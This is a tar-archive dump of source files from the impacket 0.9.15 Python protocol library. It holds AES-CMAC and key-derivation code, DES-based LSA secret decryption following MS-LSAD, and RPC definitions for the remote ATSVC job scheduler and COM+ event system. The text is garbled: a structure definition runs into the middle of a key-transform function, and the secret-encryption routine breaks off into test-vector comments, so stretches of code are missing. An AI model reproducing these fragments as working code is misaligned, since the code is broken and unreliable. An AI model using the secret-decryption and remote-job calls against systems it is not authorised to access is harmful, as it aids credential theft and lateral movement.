K1High = ((LHigh << 1) | ( LLow >> 63 )) & 0xFFFFFFFFFFFFFFFF
K1Low = (LLow << 1) & 0xFFFFFFFFFFFFFFFF
if (LHigh >> 63):
K1Low ^= 0x87
K2High = ((K1High << 1) | (K1Low >> 63)) & 0xFFFFFFFFFFFFFFFF
K2Low = ((K1Low << 1)) & 0xFFFFFFFFFFFFFFFF
if (K1High >> 63):
K2Low ^= 0x87
K1 = pack('>QQ', K1High, K1Low)
K2 = pack('>QQ', K2High, K2Low)
return K1, K2
def XOR_128(N1,N2):
J = ''
for i in range(len(N1)):
J = J + chr(ord(N1[i]) ^ ord(N2[i]))
return J
def PAD(N):
const_Bsize = 16
padLen = 16-len(N)
return N + '\x80' + '\x00'*(padLen-1)
def AES_CMAC(K, M, length):
# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
# + Algorithm AES-CMAC +
# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
# + +
# + Input : K ( 128-bit key ) +
# + : M ( message to be authenticated ) +
# + : len ( length of the message in octets ) +
# + Output : T ( message authentication code ) +
# + +
# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
# + Constants: const_Zero is 0x00000000000000000000000000000000 +
# + const_Bsize is 16 +
# + +
# + Variables: K1, K2 for 128-bit subkeys +
# + M_i is the i-th block (i=1..ceil(len/const_Bsize)) +
# + M_last is the last block xor-ed with K1 or K2 +
# + n for number of blocks to be processed +
# + r for number of octets of last block +
# + flag for denoting if last block is complete or not +
# + +
# + Step 1. (K1,K2) := Generate_Subkey(K); +
# + Step 2. n := ceil(len/const_Bsize); +
# + Step 3. if n = 0 +
# + then +
# + n := 1; +
# + flag := false; +
# + else +
# + if len mod const_Bsize is 0 +
# + then flag := true; +
# + else flag := false; +
# + +
# + Step 4. if flag is true +
# + then M_last := M_n XOR K1; +
# + else M_last := padding(M_n) XOR K2; +
# + Step 5. X := const_Zero; +
# + Step 6. for i := 1 to n-1 do +
# + begin +
# + Y := X XOR M_i; +
# + X := AES-128(K,Y); +
# + end +
# + Y := M_last XOR X; +
# + T := AES-128(K,Y); +
# + Step 7. return T; +
# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
const_Bsize = 16
const_Zero = '\x00'*16
AES_128= AES.new(K)
M = M[:length]
K1, K2 = Generate_Subkey(K)
n = len(M)/const_Bsize
if n == 0:
n = 1
flag = False
else:
if (length % const_Bsize) == 0:
flag = True
else:
n += 1
flag = False
M_n = M[(n-1)*const_Bsize:]
if flag is True:
M_last = XOR_128(M_n,K1)
else:
M_last = XOR_128(PAD(M_n),K2)
X = const_Zero
for i in range(n-1):
M_i = M[(i)*const_Bsize:][:16]
Y = XOR_128(X, M_i)
X = AES_128.encrypt(Y)
Y = XOR_128(M_last, X)
T = AES_128.encrypt(Y)
return T
def AES_CMAC_PRF_128(VK, M, VKlen, Mlen):
# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
# + AES-CMAC-PRF-128 +
# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
# + +
# + Input : VK (Variable-length key) +
# + : M (Message, i.e., the input data of the PRF) +
# + : VKlen (length of VK in octets) +
# + : len (length of M in octets) +
# + Output : PRV (128-bit Pseudo-Random Variable) +
# + +
# +-------------------------------------------------------------------+
# + Variable: K (128-bit key for AES-CMAC) +
# + +
# + Step 1. If VKlen is equal to 16 +
# + Step 1a. then +
# + K := VK; +
# + Step 1b. else +
# + K := AES-CMAC(0^128, VK, VKlen); +
# + Step 2. PRV := AES-CMAC(K, M, len); +
# + return PRV; +
# + +
# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
if VKlen == 16:
K = VK
else:
K = AES_CMAC('\x00'*16, VK, VKlen)
PRV = AES_CMAC(K, M, Mlen)
return PRV
def KDF_CounterMode(KI, Label, Context, L):
# Implements NIST SP 800-108 Section 5.1, with PRF HMAC-SHA256
# http://tools.ietf.org/html/draft-irtf-cfrg-kdf-uses-00#ref-SP800-108
# Fixed values:
# 1. h - The length of the output of the PRF in bits, and
# 2. r - The length of the binary representation of the counter i.
# Input: KI, Label, Context, and L.
# Process:
# 1. n := [L/h]
# 2. If n > 2r-1, then indicate an error and stop.
# 3. result(0):= empty .
# 4. For i = 1 to n, do
# a. K(i) := PRF (KI, [i]2 || Label || 0x00 || Context || [L]2)
# b. result(i) := result(i-1) || K(i).
# 5. Return: KO := the leftmost L bits of result(n).
h = 256
r = 32
n = L / h
if n == 0:
n = 1
if n > (pow(2,r)-1):
raise "Error computing KDF_CounterMode"
result = ''
K = ''
for i in range(1,n+1):
input = pack('>L', i) + Label + '\x00' + Context + pack('>L',L)
K = hmac.new(KI, input, hashlib.sha256).digest()
result = result + K
return result[:(L/8)]
# [MS-LSAD] Section 5.1.2 / 5.1.3
class LSA_SECRET_XP(Structure):
structure = (
('Length','> 0x01) )
OutputKey.append( chr(((ord(InputKey[0])&0x01)<<6) | (ord(InputKey[1])>>2)) )
OutputKey.append( chr(((ord(InputKey[1])&0x03)<<5) | (ord(InputKey[2])>>3)) )
OutputKey.append( chr(((ord(InputKey[2])&0x07)<<4) | (ord(InputKey[3])>>4)) )
OutputKey.append( chr(((ord(InputKey[3])&0x0F)<<3) | (ord(InputKey[4])>>5)) )
OutputKey.append( chr(((ord(InputKey[4])&0x1F)<<2) | (ord(InputKey[5])>>6)) )
OutputKey.append( chr(((ord(InputKey[5])&0x3F)<<1) | (ord(InputKey[6])>>7)) )
OutputKey.append( chr(ord(InputKey[6]) & 0x7F) )
for i in range(8):
OutputKey[i] = chr((ord(OutputKey[i]) << 1) & 0xfe)
return "".join(OutputKey)
def decryptSecret(key, value):
# [MS-LSAD] Section 5.1.2
plainText = ''
key0 = key
for i in range(0, len(value), 8):
cipherText = value[:8]
tmpStrKey = key0[:7]
tmpKey = transformKey(tmpStrKey)
Crypt1 = DES.new(tmpKey, DES.MODE_ECB)
plainText += Crypt1.decrypt(cipherText)
cipherText = cipherText[8:]
key0 = key0[7:]
value = value[8:]
# AdvanceKey
if len(key0) < 7:
key0 = key[len(key0):]
secret = LSA_SECRET_XP(plainText)
return (secret['Secret'])
def encryptSecret(key, value):
# [MS-LSAD] Section 5.1.2
plainText = ''
cipherText = ''
key0 = key
value0 = pack('
# AES-CMAC bb1d6929 e9593728 7fa37d12 9b756746
# --------------------------------------------------
#
# Example 2: len = 16
# M 6bc1bee2 2e409f96 e93d7e11 7393172a
# AES-CMAC 070a16b4 6b4d4144 f79bdd9d d04a287c
# --------------------------------------------------
#
# Example 3: len = 40
# M 6bc1bee2 2e409f96 e93d7e11 7393172a
# ae2d8a57 1e03ac9c 9eb76fac 45af8e51
# 30c81c46 a35ce411
# AES-CMAC dfa66747 de9ae630 30ca3261 1497c827
# --------------------------------------------------
#
# Example 4: len = 64
# M 6bc1bee2 2e409f96 e93d7e11 7393172a
# ae2d8a57 1e03ac9c 9eb76fac 45af8e51
# 30c81c46 a35ce411 e5fbc119 1a0a52ef
# f69f2445 df4f9b17 ad2b417b e66c3710
# AES-CMAC 51f0bebf 7e3b9d92 fc497417 79363cfe
# --------------------------------------------------
def pp(s):
for i in range((len(s)/8)):
print s[:8] ,
s = s[8:]
return ''
from binascii import hexlify, unhexlify
K = "2b7e151628aed2a6abf7158809cf4f3c"
M = "6bc1bee22e409f96e93d7e117393172aae2d8a571e03ac9c9eb76fac45af8e5130c81c46a35ce411e5fbc1191a0a52eff69f2445df4f9b17ad2b417be66c3710"
K1, K2 = Generate_Subkey(unhexlify(K))
print "Subkey Generation"
print "K ", pp(K)
print "K1 ", pp(hexlify(K1))
print "K2 ", pp(hexlify(K2))
print
print "Example 1: len = 0"
print "M "
print "AES-CMAC " , pp(hexlify(AES_CMAC(unhexlify(K),unhexlify(M),0)))
print
print "Example 2: len = 16"
print "M " , pp(M[:16*2])
print "AES-CMAC " , pp(hexlify(AES_CMAC(unhexlify(K),unhexlify(M),16)))
print
print "Example 3: len = 40"
print "M " , pp(M[:40*2])
print "AES-CMAC " , pp(hexlify(AES_CMAC(unhexlify(K),unhexlify(M),40)))
print
print "Example 3: len = 64"
print "M " , pp(M[:64*2])
print "AES-CMAC " , pp(hexlify(AES_CMAC(unhexlify(K),unhexlify(M),64)))
print
M = "eeab9ac8fb19cb012849536168b5d6c7a5e6c5b2fcdc32bc29b0e3654078a5129f6be2562046766f93eebf146b"
K = "6c3473624099e17ff3a39ff6bdf6cc38"
# Mac = dbf63fd93c4296609e2d66bf79251cb5
print "Example 4: len = 45"
print "M " , pp(M[:45*2])
print "AES-CMAC " , pp(hexlify(AES_CMAC(unhexlify(K),unhexlify(M),45)))
# ------------------------------------------------------------
#
# Test Case AES-CMAC-PRF-128 with 20-octet input
# Key : 00010203 04050607 08090a0b 0c0d0e0f edcb
# Key Length : 18
# Message : 00010203 04050607 08090a0b 0c0d0e0f 10111213
# PRF Output : 84a348a4 a45d235b abfffc0d 2b4da09a
#
# Test Case AES-CMAC-PRF-128 with 20-octet input
# Key : 00010203 04050607 08090a0b 0c0d0e0f
# Key Length : 16
# Message : 00010203 04050607 08090a0b 0c0d0e0f 10111213
# PRF Output : 980ae87b 5f4c9c52 14f5b6a8 455e4c2d
#
# Test Case AES-CMAC-PRF-128 with 20-octet input
# Key : 00010203 04050607 0809
# Key Length : 10
# Message : 00010203 04050607 08090a0b 0c0d0e0f 10111213
# PRF Output : 290d9e11 2edb09ee 141fcf64 c0b72f3d
#
# ------------------------------------------------------------
K = "000102030405060708090a0b0c0d0e0fedcb"
M = "000102030405060708090a0b0c0d0e0f10111213"
print "AES-CMAC-PRF-128 Test Vectors"
print
print "Example 1: len = 0"
print "M " , pp(K)
print "Key Length 18 "
print "AES-CMAC " , pp(hexlify(AES_CMAC_PRF_128(unhexlify(K),unhexlify(M),18,len(unhexlify(M)))))
print
print "Example 1: len = 0"
print "M " , pp(K)
print "Key Length 16 "
print "AES-CMAC " , pp(hexlify(AES_CMAC_PRF_128(unhexlify(K)[:16],unhexlify(M),16,len(unhexlify(M)))))
print
print "Example 1: len = 0"
print "M " , pp(K)
print "Key Length 10 "
print "AES-CMAC " , pp(hexlify(AES_CMAC_PRF_128(unhexlify(K)[:10],unhexlify(M),10,len(unhexlify(M)))))
print
impacket-0.9.15/impacket/dcerpc/ 0000700 0000765 0000000 00000000000 12734532622 016503 5 ustar beto wheel 0000000 0000000 impacket-0.9.15/impacket/dcerpc/__init__.py 0000600 0000765 0000000 00000000005 12734531507 020612 0 ustar beto wheel 0000000 0000000 pass
impacket-0.9.15/impacket/dcerpc/v5/ 0000700 0000765 0000000 00000000000 12734532622 017035 5 ustar beto wheel 0000000 0000000 impacket-0.9.15/impacket/dcerpc/v5/__init__.py 0000600 0000765 0000000 00000000005 12734531507 021144 0 ustar beto wheel 0000000 0000000 pass
impacket-0.9.15/impacket/dcerpc/v5/atsvc.py 0000600 0000765 0000000 00000015232 12734531507 020535 0 ustar beto wheel 0000000 0000000 # Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author: Alberto Solino (@agsolino)
#
# Description:
# [MS-TSCH] ATSVC Interface implementation
#
# Best way to learn how to use these calls is to grab the protocol standard
# so you understand what the call does, and then read the test case located
# at https://github.com/CoreSecurity/impacket/tree/master/impacket/testcases/SMB_RPC
#
# Some calls have helper functions, which makes it even easier to use.
# They are located at the end of this file.
# Helper functions start with "h".
# There are test cases for them too.
#
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray
from impacket.dcerpc.v5.dtypes import DWORD, LPWSTR, UCHAR, ULONG, LPDWORD, NULL
from impacket import hresult_errors
from impacket.uuid import uuidtup_to_bin
from impacket.dcerpc.v5.rpcrt import DCERPCException
MSRPC_UUID_ATSVC = uuidtup_to_bin(('1FF70682-0A51-30E8-076D-740BE8CEE98B','1.0'))
class DCERPCSessionError(DCERPCException):
def __init__(self, error_string=None, error_code=None, packet=None):
DCERPCException.__init__(self, error_string, error_code, packet)
def __str__( self ):
key = self.error_code
if hresult_errors.ERROR_MESSAGES.has_key(key):
error_msg_short = hresult_errors.ERROR_MESSAGES[key][0]
error_msg_verbose = hresult_errors.ERROR_MESSAGES[key][1]
return 'TSCH SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
else:
return 'TSCH SessionError: unknown error code: 0x%x' % self.error_code
################################################################################
# CONSTANTS
################################################################################
ATSVC_HANDLE = LPWSTR
# 2.3.1 Constant Values
CNLEN = 15
DNLEN = CNLEN
UNLEN = 256
MAX_BUFFER_SIZE = (DNLEN+UNLEN+1+1)
# 2.3.7 Flags
TASK_FLAG_INTERACTIVE = 0x1
TASK_FLAG_DELETE_WHEN_DONE = 0x2
TASK_FLAG_DISABLED = 0x4
TASK_FLAG_START_ONLY_IF_IDLE = 0x10
TASK_FLAG_KILL_ON_IDLE_END = 0x20
TASK_FLAG_DONT_START_IF_ON_BATTERIES = 0x40
TASK_FLAG_KILL_IF_GOING_ON_BATTERIES = 0x80
TASK_FLAG_RUN_ONLY_IF_DOCKED = 0x100
TASK_FLAG_HIDDEN = 0x200
TASK_FLAG_RUN_IF_CONNECTED_TO_INTERNET = 0x400
TASK_FLAG_RESTART_ON_IDLE_RESUME = 0x800
TASK_FLAG_SYSTEM_REQUIRED = 0x1000
TASK_FLAG_RUN_ONLY_IF_LOGGED_ON = 0x2000
################################################################################
# STRUCTURES
################################################################################
# 2.3.4 AT_INFO
class AT_INFO(NDRSTRUCT):
structure = (
('JobTime',DWORD),
('DaysOfMonth',DWORD),
('DaysOfWeek',UCHAR),
('Flags',UCHAR),
('Command',LPWSTR),
)
class LPAT_INFO(NDRPOINTER):
referent = (
('Data',AT_INFO),
)
# 2.3.6 AT_ENUM
class AT_ENUM(NDRSTRUCT):
structure = (
('JobId',DWORD),
('JobTime',DWORD),
('DaysOfMonth',DWORD),
('DaysOfWeek',UCHAR),
('Flags',UCHAR),
('Command',LPWSTR),
)
class AT_ENUM_ARRAY(NDRUniConformantArray):
item = AT_ENUM
class LPAT_ENUM_ARRAY(NDRPOINTER):
referent = (
('Data',AT_ENUM_ARRAY),
)
# 2.3.5 AT_ENUM_CONTAINER
class AT_ENUM_CONTAINER(NDRSTRUCT):
structure = (
('EntriesRead',DWORD),
('Buffer',LPAT_ENUM_ARRAY),
)
################################################################################
# RPC CALLS
################################################################################
# 3.2.5.2.1 NetrJobAdd (Opnum 0)
class NetrJobAdd(NDRCALL):
opnum = 0
structure = (
('ServerName',ATSVC_HANDLE),
('pAtInfo', AT_INFO),
)
class NetrJobAddResponse(NDRCALL):
structure = (
('pJobId',DWORD),
('ErrorCode',ULONG),
)
# 3.2.5.2.2 NetrJobDel (Opnum 1)
class NetrJobDel(NDRCALL):
opnum = 1
structure = (
('ServerName',ATSVC_HANDLE),
('MinJobId', DWORD),
('MaxJobId', DWORD),
)
class NetrJobDelResponse(NDRCALL):
structure = (
('ErrorCode',ULONG),
)
# 3.2.5.2.3 NetrJobEnum (Opnum 2)
class NetrJobEnum(NDRCALL):
opnum = 2
structure = (
('ServerName',ATSVC_HANDLE),
('pEnumContainer', AT_ENUM_CONTAINER),
('PreferedMaximumLength', DWORD),
('pResumeHandle', DWORD),
)
class NetrJobEnumResponse(NDRCALL):
structure = (
('pEnumContainer', AT_ENUM_CONTAINER),
('pTotalEntries', DWORD),
('pResumeHandle',LPDWORD),
('ErrorCode',ULONG),
)
# 3.2.5.2.4 NetrJobGetInfo (Opnum 3)
class NetrJobGetInfo(NDRCALL):
opnum = 3
structure = (
('ServerName',ATSVC_HANDLE),
('JobId', DWORD),
)
class NetrJobGetInfoResponse(NDRCALL):
structure = (
('ppAtInfo', LPAT_INFO),
('ErrorCode',ULONG),
)
################################################################################
# OPNUMs and their corresponding structures
################################################################################
OPNUMS = {
0 : (NetrJobAdd,NetrJobAddResponse ),
1 : (NetrJobDel,NetrJobDelResponse ),
2 : (NetrJobEnum,NetrJobEnumResponse ),
3 : (NetrJobGetInfo,NetrJobGetInfoResponse ),
}
################################################################################
# HELPER FUNCTIONS
################################################################################
def hNetrJobAdd(dce, serverName = NULL, atInfo = NULL):
netrJobAdd = NetrJobAdd()
netrJobAdd['ServerName'] = serverName
netrJobAdd['pAtInfo'] = atInfo
return dce.request(netrJobAdd)
def hNetrJobDel(dce, serverName = NULL, minJobId = 0, maxJobId = 0):
netrJobDel = NetrJobDel()
netrJobDel['ServerName'] = serverName
netrJobDel['MinJobId'] = minJobId
netrJobDel['MaxJobId'] = maxJobId
return dce.request(netrJobDel)
def hNetrJobEnum(dce, serverName = NULL, pEnumContainer = NULL, preferedMaximumLength = 0xffffffff):
netrJobEnum = NetrJobEnum()
netrJobEnum['ServerName'] = serverName
netrJobEnum['pEnumContainer']['Buffer'] = pEnumContainer
netrJobEnum['PreferedMaximumLength'] = preferedMaximumLength
return dce.request(netrJobEnum)
def hNetrJobGetInfo(dce, serverName = NULL, jobId = 0):
netrJobGetInfo = NetrJobGetInfo()
netrJobGetInfo['ServerName'] = serverName
netrJobGetInfo['JobId'] = jobId
return dce.request(netrJobGetInfo) impacket-0.9.15/impacket/dcerpc/v5/dcom/ 0000700 0000765 0000000 00000000000 12734532622 017757 5 ustar beto wheel 0000000 0000000 impacket-0.9.15/impacket/dcerpc/v5/dcom/__init__.py 0000600 0000765 0000000 00000000005 12734531507 022066 0 ustar beto wheel 0000000 0000000 pass
impacket-0.9.15/impacket/dcerpc/v5/dcom/comev.py 0000600 0000765 0000000 00000162100 12734531507 021445 0 ustar beto wheel 0000000 0000000 # Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author: Alberto Solino (@agsolino)
#
# Description:
# [MS-COMEV]: Component Object Model Plus (COM+) Event System Protocol.
# This was used as a way to test the DCOM runtime. Further
# testing is needed to verify it is working as expected
#
# Best way to learn how to use these calls is to grab the protocol standard
# so you understand what the call does, and then read the test case located
# at https://github.com/CoreSecurity/impacket/tree/master/impacket/testcases/SMB_RPC
#
# Since DCOM is like an OO RPC, instead of helper functions you will see the
# classes described in the standards developed.
# There are test cases for them too.
#
from impacket.dcerpc.v5.ndr import NDRSTRUCT, NDRENUM, NDRUniConformantVaryingArray
from impacket.dcerpc.v5.dcomrt import DCOMCALL, DCOMANSWER, INTERFACE, PMInterfacePointer, IRemUnknown
from impacket.dcerpc.v5.dcom.oaut import IDispatch, BSTR, VARIANT
from impacket.dcerpc.v5.dtypes import INT, ULONG, LONG, BOOLEAN
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5.enum import Enum
from impacket import hresult_errors
from impacket.uuid import string_to_bin, uuidtup_to_bin
class DCERPCSessionError(DCERPCException):
def __init__(self, error_string=None, error_code=None, packet=None):
DCERPCException.__init__(self, error_string, error_code, packet)
def __str__( self ):
if hresult_errors.ERROR_MESSAGES.has_key(self.error_code):
error_msg_short = hresult_errors.ERROR_MESSAGES[self.error_code][0]
error_msg_verbose = hresult_errors.ERROR_MESSAGES[self.error_code][1]
return 'COMEV SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
else:
return 'COMEV SessionError: unknown error code: 0x%x' % self.error_code
################################################################################
# CONSTANTS
################################################################################
# 1.9 Standards Assignments
CLSID_EventSystem = string_to_bin('4E14FBA2-2E22-11D1-9964-00C04FBBB345')
CLSID_EventSystem2 = string_to_bin('99CC098F-A48A-4e9c-8E58-965C0AFC19D5')
CLSID_EventClass = string_to_bin('cdbec9c0-7a68-11d1-88f9-0080c7d771bf')
CLSID_EventSubscription = string_to_bin('7542e960-79c7-11d1-88f9-0080c7d771bf')
GUID_DefaultAppPartition = string_to_bin('41E90F3E-56C1-4633-81C3-6E8BAC8BDD70')
IID_IEventSystem = uuidtup_to_bin(('4E14FB9F-2E22-11D1-9964-00C04FBBB345','0.0'))
IID_IEventSystem2 = uuidtup_to_bin(('99CC098F-A48A-4e9c-8E58-965C0AFC19D5','0.0'))
IID_IEventSystemInitialize = uuidtup_to_bin(('a0e8f27a-888c-11d1-b763-00c04fb926af','0.0'))
IID_IEventObjectCollection = uuidtup_to_bin(('f89ac270-d4eb-11d1-b682-00805fc79216','0.0'))
IID_IEnumEventObject = uuidtup_to_bin(('F4A07D63-2E25-11D1-9964-00C04FBBB345','0.0'))
IID_IEventSubscription = uuidtup_to_bin(('4A6B0E15-2E38-11D1-9965-00C04FBBB345','0.0'))
IID_IEventSubscription2 = uuidtup_to_bin(('4A6B0E16-2E38-11D1-9965-00C04FBBB345','0.0'))
IID_IEventSubscription3 = uuidtup_to_bin(('FBC1D17D-C498-43a0-81AF-423DDD530AF6','0.0'))
IID_IEventClass = uuidtup_to_bin(('fb2b72a0-7a68-11d1-88f9-0080c7d771bf','0.0'))
IID_IEventClass2 = uuidtup_to_bin(('fb2b72a1-7a68-11d1-88f9-0080c7d771bf','0.0'))
IID_IEventClass3 = uuidtup_to_bin(('7FB7EA43-2D76-4ea8-8CD9-3DECC270295E','0.0'))
error_status_t = ULONG
# 2.2.2.2 Property Value Types
class VARENUM(NDRENUM):
class enumItems(Enum):
VT_EMPTY = 0
VT_NULL = 1
VT_I2 = 2
VT_I4 = 3
VT_R4 = 4
VT_R8 = 5
VT_CY = 6
VT_DATE = 7
VT_BSTR = 8
VT_DISPATCH = 9
VT_ERROR = 0xa
VT_BOOL = 0xb
VT_VARIANT = 0xc
VT_UNKNOWN = 0xd
VT_DECIMAL = 0xe
VT_I1 = 0x10
VT_UI1 = 0x11
VT_UI2 = 0x12
VT_UI4 = 0x13
VT_I8 = 0x14
VT_UI8 = 0x15
VT_INT = 0x16
VT_UINT = 0x17
VT_VOID = 0x18
VT_HRESULT = 0x19
VT_PTR = 0x1a
VT_SAFEARRAY = 0x1b
VT_CARRAY = 0x1c
VT_USERDEFINED = 0x1d
VT_LPSTR = 0x1e
VT_LPWSTR = 0x1f
VT_RECORD = 0x24
VT_INT_PTR = 0x25
VT_UINT_PTR = 0x26
VT_ARRAY = 0x2000
VT_BYREF = 0x4000
VT_UINT_PTR = 7
################################################################################
# STRUCTURES
################################################################################
# 2.2.44 TYPEATTR
class TYPEATTR(NDRSTRUCT):
structure = (
)
class OBJECT_ARRAY(NDRUniConformantVaryingArray):
item = PMInterfacePointer
################################################################################
# RPC CALLS
################################################################################
# 3.1.4.1 IEventSystem
# 3.1.4.1.1 Query (Opnum 7)
class IEventSystem_Query(DCOMCALL):
opnum = 7
structure = (
('progID', BSTR),
('queryCriteria', BSTR),
)
class IEventSystem_QueryResponse(DCOMANSWER):
structure = (
('errorIndex', INT),
('ppInterface', PMInterfacePointer),
('ErrorCode', error_status_t),
)
# 3.1.4.1.2 Store (Opnum 8)
class IEventSystem_Store(DCOMCALL):
opnum = 8
structure = (
('progID', BSTR),
('pInterface', PMInterfacePointer),
)
class IEventSystem_StoreResponse(DCOMANSWER):
structure = (
('ErrorCode', error_status_t),
)
# 3.1.4.1.3 Remove (Opnum 9)
class IEventSystem_Remove(DCOMCALL):
opnum = 9
structure = (
('progID', BSTR),
('queryCriteria', BSTR),
)
class IEventSystem_RemoveResponse(DCOMANSWER):
structure = (
('errorIndex', INT),
('ErrorCode', error_status_t),
)
# 3.1.4.1.4 get_EventObjectChangeEventClassID (Opnum 10)
class IEventSystem_get_EventObjectChangeEventClassID(DCOMCALL):
opnum = 10
structure = (
)
class IEventSystem_get_EventObjectChangeEventClassIDResponse(DCOMANSWER):
structure = (
('pbstrEventClassID', BSTR),
('ErrorCode', error_status_t),
)
# 3.1.4.1.5 QueryS (Opnum 11)
class IEventSystem_QueryS(DCOMCALL):
opnum = 11
structure = (
('progID', BSTR),
('queryCriteria', BSTR),
)
class IEventSystem_QuerySResponse(DCOMANSWER):
structure = (
('pInterface', PMInterfacePointer),
('ErrorCode', error_status_t),
)
# 3.1.4.1.6 RemoveS (Opnum 12)
class IEventSystem_RemoveS(DCOMCALL):
opnum = 12
structure = (
('progID', BSTR),
('queryCriteria', BSTR),
)
class IEventSystem_RemoveSResponse(DCOMANSWER):
structure = (
('ErrorCode', error_status_t),
)
################################################################################
# 3.1.4.2 IEventClass
# 3.1.4.2.1 get_EventClassID (Opnum 7)
class IEventClass_get_EventClassID(DCOMCALL):
opnum = 7
structure = (
)
class IEventClass_get_EventClassIDResponse(DCOMANSWER):
structure = (
('pbstrEventClassID', BSTR),
('ErrorCode', error_status_t),
)
# 3.1.4.2.2 put_EventClassID (Opnum 8)
class IEventClass_put_EventClassID(DCOMCALL):
opnum = 8
structure = (
('bstrEventClassID', BSTR),
)
class IEventClass_put_EventClassIDResponse(DCOMANSWER):
structure = (
('ErrorCode', error_status_t),
)
# 3.1.4.2.3 get_EventClassName (Opnum 9)
class IEventClass_get_EventClassName(DCOMCALL):
opnum = 9
structure = (
)
class IEventClass_get_EventClassNameResponse(DCOMANSWER):
structure = (
('pbstrEventClassName', BSTR),
('ErrorCode', error_status_t),
)
# 3.1.4.2.4 put_EventClassName (Opnum 10)
class IEventClass_put_EventClassName(DCOMCALL):
opnum = 10
structure = (
('bstrEventClassName', BSTR),
)
class IEventClass_put_EventClassNameResponse(DCOMANSWER):
structure = (
('ErrorCode', error_status_t),
)
# 3.1.4.2.5 get_OwnerSID (Opnum 11)
class IEventClass_get_OwnerSID(DCOMCALL):
opnum = 11
structure = (
)
class IEventClass_get_OwnerSIDResponse(DCOMANSWER):
structure = (
('pbstrOwnerSID', BSTR),
('ErrorCode', error_status_t),
)
# 3.1.4.2.6 put_OwnerSID (Opnum 12)
class IEventClass_put_OwnerSID(DCOMCALL):
opnum = 12
structure = (
('bstrOwnerSID', BSTR),
)
class IEventClass_put_OwnerSIDResponse(DCOMANSWER):
structure = (
('ErrorCode', error_status_t),
)
# 3.1.4.2.7 get_FiringInterfaceID (Opnum 13)
class IEventClass_get_FiringInterfaceID(DCOMCALL):
opnum = 13
structure = (
)
class IEventClass_get_FiringInterfaceIDResponse(DCOMANSWER):
structure = (
('pbstrFiringInterfaceID', BSTR),
('ErrorCode', error_status_t),
)
# 3.1.4.2.8 put_FiringInterfaceID (Opnum 14)
class IEventClass_put_FiringInterfaceID(DCOMCALL):
opnum = 14
structure = (
('bstrFiringInterfaceID', BSTR),
)
class IEventClass_put_FiringInterfaceIDResponse(DCOMANSWER):
structure = (
('ErrorCode', error_status_t),
)
# 3.1.4.2.9 get_Description (Opnum 15)
class IEventClass_get_Description(DCOMCALL):
opnum = 15
structure = (
)
class IEventClass_get_DescriptionResponse(DCOMANSWER):
structure = (
('pbstrDescription', BSTR),
('ErrorCode', error_status_t),
)
# 3.1.4.2.10 put_Description (Opnum 16)
class IEventClass_put_Description(DCOMCALL):
opnum = 16
structure = (
('bstrDescription', BSTR),
)
class IEventClass_put_DescriptionResponse(DCOMANSWER):
structure = (
('ErrorCode', error_status_t),
)
# 3.1.4.2.11 get_TypeLib (Opnum 19)
class IEventClass_get_TypeLib(DCOMCALL):
opnum = 19
structure = (
)
class IEventClass_get_TypeLibResponse(DCOMANSWER):
structure = (
('pbstrTypeLib', BSTR),
('ErrorCode', error_status_t),
)
# 3.1.4.2.12 put_TypeLib (Opnum 20)
class IEventClass_put_TypeLib(DCOMCALL):
opnum = 20
structure = (
('bstrTypeLib', BSTR),
)
class IEventClass_put_TypeLibResponse(DCOMANSWER):
structure = (
('ErrorCode', error_status_t),
)
################################################################################
# 3.1.4.3 IEventClass2
# 3.1.4.3.1 get_PublisherID (Opnum 21)
class IEventClass2_get_PublisherID(DCOMCALL):
opnum = 21
structure = (
)
class IEventClass2_get_PublisherIDResponse(DCOMANSWER):
structure = (
('pbstrSubscriptionID', BSTR),
('ErrorCode', error_status_t),
)
# 3.1.4.3.2 put_PublisherID (Opnum 22)
class IEventClass2_put_PublisherID(DCOMCALL):
opnum = 22
structure = (
('bstrPublisherID', BSTR),
)
class IEventClass2_put_PublisherIDResponse(DCOMANSWER):
structure = (
('ErrorCode', error_status_t),
)
# 3.1.4.3.3 get_MultiInterfacePublisherFilterCLSID (Opnum 23)
class IEventClass2_get_MultiInterfacePublisherFilterCLSID(DCOMCALL):
opnum = 23
structure = (
)
class IEventClass2_get_MultiInterfacePublisherFilterCLSIDResponse(DCOMANSWER):
structure = (
('pbstrPubFilCLSID', BSTR),
('ErrorCode', error_status_t),
)
# 3.1.4.3.4 put_MultiInterfacePublisherFilterCLSID (Opnum 24)
class IEventClass2_put_MultiInterfacePublisherFilterCLSID(DCOMCALL):
opnum = 24
structure = (
('bstrPubFilCLSID', BSTR),
)
class IEventClass2_put_MultiInterfacePublisherFilterCLSIDResponse(DCOMANSWER):
structure = (
('ErrorCode', error_status_t),
)
# 3.1.4.3.5 get_AllowInprocActivation (Opnum 25)
class IEventClass2_get_AllowInprocActivation(DCOMCALL):
opnum = 25
structure = (
)
class IEventClass2_get_AllowInprocActivationResponse(DCOMANSWER):
structure = (
('pfAllowInprocActivation', BOOLEAN),
('ErrorCode', error_status_t),
)
# 3.1.4.3.6 put_AllowInprocActivation (Opnum 26)
class IEventClass2_put_AllowInprocActivation(DCOMCALL):
opnum = 26
structure = (
('fAllowInprocActivation', BOOLEAN),
)
class IEventClass2_put_AllowInprocActivationResponse(DCOMANSWER):
structure = (
('ErrorCode', error_status_t),
)
# 3.1.4.3.7 get_FireInParallel (Opnum 27)
class IEventClass2_get_FireInParallel(DCOMCALL):
opnum = 27
structure = (
)
class IEventClass2_get_FireInParallelResponse(DCOMANSWER):
structure = (
('pfFireInParallel', BOOLEAN),
('ErrorCode', error_status_t),
)
